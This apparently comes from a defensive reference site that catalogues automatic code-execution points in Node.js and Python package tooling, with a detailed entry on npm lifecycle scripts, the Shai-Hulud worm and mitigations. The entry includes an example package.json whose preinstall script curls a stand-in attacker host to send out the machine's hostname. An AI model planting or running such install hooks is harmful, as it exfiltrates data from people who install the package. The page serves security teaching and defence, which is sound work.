lote.guide
esc
  • npm lifecycle scriptsscripts field in package.jsonNode.js
  • setup.py arbitrary code executionsetup.py in source distributions (sdist)Python
  • NODE_OPTIONS preload injectionNODE_OPTIONS environment variable, CLI flags, or .env files loaded via --env-fileNode.js
  • .pth file import execution*.pth files on sys.path (commonly site-packages)Python
  • binding.gyp / node-gyp native compilationbinding.gyp file in the package rootNode.js
  • Corepack (packageManager field)"packageManager" field in package.json, COREPACK_HOME cache directoryNode.js
  • .npmrc registry manipulation.npmrc file (project, user, or global)Node.js
  • overrides / resolutions dependency swapoverrides (npm) or resolutions (Yarn) field in package.jsonNode.js
  • pnpm hooks (pnpmfile.cjs).pnpmfile.cjs in the project rootNode.js
  • .yarnrc.yml plugins and registry.yarnrc.yml in the project rootNode.js
  • pyproject.toml build backendspyproject.toml [build-system] tablePython
  • sitecustomize / usercustomize auto-importsitecustomize.py / usercustomize.py on sys.path (usually site-packages)Python
  • .node native addon loading.node files in node_modules/ (typically under build/Release/ or prebuilds/)Node.js
  • Yarn Plug'n'Play (.pnp.cjs).pnp.cjs in the project rootNode.js
  • __init__.py execution on import__init__.py in any package directory on sys.pathPython
  • .pyc bytecode cache poisoning.pyc files in __pycache__/ directories alongside source modulesPython
  • PYTHONPATH / PYTHONHOME module shadowingPYTHONPATH / PYTHONHOME environment variablesPython
  • npx / npm exec remote executionnpx, npm exec, npm create / npm init (initializer flows)Node.js
  • conftest.py auto-loading (pytest)conftest.py files in any directory pytest traversesPython
  • NODE_PATH environment variableNODE_PATH environment variableNode.js
  • "imports" field (subpath imports)imports field in package.jsonNode.js
  • require.extensions / Module._extensionsrequire.extensions / Module._extensions in any loaded moduleNode.js
  • .egg files and EGG-INFO scripts.egg files in site-packages (registered via easy-install.pth)Python
  • Zip imports (zipimport).zip / .pyz files on sys.path, or passed directly to the interpreterPython
  • PYTHONSTARTUP environment variablePYTHONSTARTUP environment variablePython
  • node_modules/.hooks/ directorynode_modules/.hooks/ directoryNode.js
Node.js
Install time/Install hook

npm lifecycle scripts

Automatically during npm install

Lives in
scripts field in package.json
Attacker needs
Supply-chain foothold
Lifecycle
Install
Startup
your code
Module load
Runtime
REPL

Runs while dependencies download and build. The app has never started.

How it runs

Every package.json can define lifecycle scripts that run automatically during npm install. There's no confirmation and no prompt. Installing a dependency executes its code as a side effect.

The main ones are preinstall (before install), install (after files are written), postinstall (after install completes), and prepare. prepare runs across several flows, including installs, pack, publish, and some git-dependency installs.

{
  "name": "totally-normal-package",
  "version": "1.0.0",
  "scripts": {
    "preinstall": "curl https://evil.com/exfil?host=$(hostname)"
  }
}

npm install totally-normal-package

The Shai-Hulud worm in 2025 showed how far this goes. A compromised package's lifecycle script harvested credentials and republished itself through the victim's own npm tokens, spreading across the registry.

In the wild

Shai-Hulud worm (2025) abused install lifecycle scripts to self-propagate

Defend

Install with --ignore-scripts and allowlist exceptions; pin and audit dependencies; use lockfiles; run installs in sandboxes.